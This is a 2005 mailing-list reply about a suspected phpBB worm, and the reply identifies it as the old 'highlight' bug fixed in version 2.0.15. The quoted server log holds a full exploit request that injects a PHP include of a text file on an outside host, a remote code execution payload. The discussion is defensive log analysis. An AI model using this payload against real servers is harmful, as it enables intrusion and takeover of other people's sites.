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Re: New (maybe old?) PhpBB worm about?

Subject: Re: New (maybe old?) PhpBB worm about?
Date: Mon, 12 Dec 2005 23:43:27 +0200
Robin wrote:

I just noticed these in my logs:
63.193.240.128 - - [11/Dec/2005:01:43:25 +1300] "GET /pbem/viewtopic.php?t=37&highlight=%2527.$poster=include($_GET[m]).
%2527&m=http://www.yatas.com/phpbb_private.txt?&; HTTP/1.0" 403 1094 "http://www.google.nl/"; "Mozilla/4.0 (modded by sirh0t fuck Aleks)"




It's the old highlight bug (i've remember the %2527). I believe it was used an year ago (of course, with some unpatched phpbb installations, it is still active, maybe some new worm using this old technique). IIRC, the bug was fixed in 2.0.15 (the current version is now 2.0.18, so ... a long time).

Alex

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